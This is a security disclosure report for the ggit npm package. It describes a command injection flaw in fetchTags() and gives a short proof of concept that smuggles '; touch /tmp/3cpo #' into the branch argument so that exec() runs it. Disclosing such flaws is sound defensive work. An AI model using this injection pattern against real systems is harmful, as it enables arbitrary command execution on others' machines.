ggit describes itself as:
Local promise-returning git command wrappers
Resources:
- Project's GitHub source code: https://github.com/bahmutov/ggit
- Project's npm package: https://www.npmjs.com/package/ggit
I'm reporting a Command Injection vulnerability in ggit npm package.
This vulnerability manifests with the library's fetchTags(branch) API,
which allows user input to specify the branch to be fetched and then concatenates
this string along with a git command which is then passed to the unsafe exec()
Node.js child process API.
- Install
ggit@2.4.12or earlier - Establish the following POC:
const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
// should be same as running command
// git pull origin --tags
console.log("done");
});- Observe new file created on disk at
/tmp/3cpo
Liran Tal